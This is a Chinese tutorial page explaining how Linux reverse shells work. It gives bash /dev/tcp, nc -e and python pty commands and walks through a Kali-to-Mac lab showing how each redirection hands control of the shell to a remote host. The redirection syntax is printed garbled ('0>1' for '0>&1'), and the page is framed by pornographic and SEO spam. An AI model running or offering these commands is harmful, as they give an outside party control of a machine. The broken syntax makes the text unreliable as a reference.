婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁(yè) > 知識(shí)庫(kù) > linux反彈shell的原理詳解

linux反彈shell的原理詳解

熱門(mén)標(biāo)簽:如何申請(qǐng)400的電話呀 地圖標(biāo)注審核周期 黑暗之魂3地圖標(biāo)注 沈陽(yáng)ai電銷智能機(jī)器人 電商外呼系統(tǒng)排名 蘭州電銷機(jī)器人加盟 AI智能電銷機(jī)器人壞處 合肥電銷外呼系統(tǒng)供應(yīng)商 電話機(jī)器人對(duì)家居行業(yè)幫助大嗎

完整命令

反彈shell命令:

bash -i > /dev/tcp/10.0.0.1/8080 0>1
bash -i > /dev/tcp/ip/port 0>1 2>1

利用nc反彈shell:

nc -lvvp 12345 -t -e /bin/bash

原理

bash -i > /dev/tcp/ip/port 0>1 2>1
bash -i 打開(kāi)一個(gè)交互式的bash
是為了區(qū)分文件1和文件描述符1的
a>b 的意思是 a>b 2>1
0代表輸入 ,0>1 意思是,將輸出的窗口上所輸入的值當(dāng)作當(dāng)前窗口的輸入。反彈shell后會(huì)有兩個(gè)窗口,即靶機(jī)的shell窗口跟攻擊機(jī)的shell口。這命令的意思也可以理解為,將攻擊機(jī)窗口的輸入當(dāng)作靶機(jī)窗口的輸入最終輸入給靶機(jī)。2代表標(biāo)準(zhǔn)錯(cuò)誤輸出。

實(shí)驗(yàn)

通過(guò)一個(gè)小實(shí)驗(yàn)幫助大家理解

第一步,將shell的正確輸出重定向到外部主機(jī)

假設(shè)我們?cè)趉ali上輸入的命令為:
bash -i > /dev/tcp/192.168.124.1/9999,這句話的意思是將交互式shell的標(biāo)準(zhǔn)輸出重定向到192.168.124.1的9999端口。

在mac上監(jiān)聽(tīng)端口命令為:nc -l 9999

首先在kali上輸入whoami命令,發(fā)現(xiàn)沒(méi)有回顯,因?yàn)榛仫@被重定向到了mac上。

但是當(dāng)我們?cè)趉ali上出入錯(cuò)誤命令的時(shí)候,卻存在回顯。

第二步,將錯(cuò)誤輸出重定向到外部主機(jī)

我們只需要在上面的命令后面加上 2>1即可,意思為將錯(cuò)誤輸出重定向到標(biāo)準(zhǔn)輸出上,也就是重定向到我們的外部主機(jī)。

這時(shí)候發(fā)現(xiàn)在kali上按鍵盤(pán)已經(jīng)沒(méi)有任何回顯了,回顯全部出現(xiàn)在了mac的shell上:

這是因?yàn)槲覀円呀?jīng)將所有的輸出都重定向到了外部主機(jī)上,但問(wèn)題是現(xiàn)在我們的控制權(quán)還在kali上,mac無(wú)法進(jìn)行任何輸出操作,只能顯示輸出。這時(shí)候我們幾句需要將輸入的權(quán)限給予我們的mac。

第三步,交出輸入權(quán)限

只需要在第二步命令的基礎(chǔ)上加上 0>1即可。

這時(shí)候已經(jīng)可以在mac上完全控制kali的shell了,實(shí)驗(yàn)結(jié)束。

其他

當(dāng)shell不穩(wěn)定時(shí)候用python的虛擬化終端:

python -c "import pty;pty.spawn('/bin/bash')"

參考:
https://www.freebuf.com/news/142195.html #將shell轉(zhuǎn)換成完全tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017

到此這篇關(guān)于linux反彈shell的原理詳解的文章就介紹到這了,更多相關(guān)linux反彈shell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • shell腳本語(yǔ)言的使用(超全超詳細(xì))
  • Linux Shell腳本系列教程(二):終端打印命令詳解
  • Linux shell傳遞參數(shù)實(shí)現(xiàn)原理及代碼實(shí)例
  • shell腳本4種執(zhí)行方式
  • 自己常用的一些shell腳本分享
  • 入門(mén)shell腳本基礎(chǔ)及原理

標(biāo)簽:黔南 隴南 河北 河池 淮南 通遼 常州 黔南

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《linux反彈shell的原理詳解》,本文關(guān)鍵詞  linux,反彈,shell,的,原理,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《linux反彈shell的原理詳解》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于linux反彈shell的原理詳解的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    主站蜘蛛池模板: 海城市| 长春市| 灵武市| 望江县| 平罗县| 海丰县| 图们市| 大连市| 巴塘县| 周口市| 西平县| 杭州市| 五家渠市| 牟定县| 陆河县| 沛县| 大洼县| 大新县| 洛宁县| 疏附县| 兖州市| 新龙县| 湘潭市| 清镇市| 高安市| 福州市| 宁蒗| 尖扎县| 富阳市| 大荔县| 哈巴河县| 临沭县| 德昌县| 德庆县| 郓城县| 青浦区| 泸西县| 仁怀市| 饶阳县| 乌什县| 亳州市|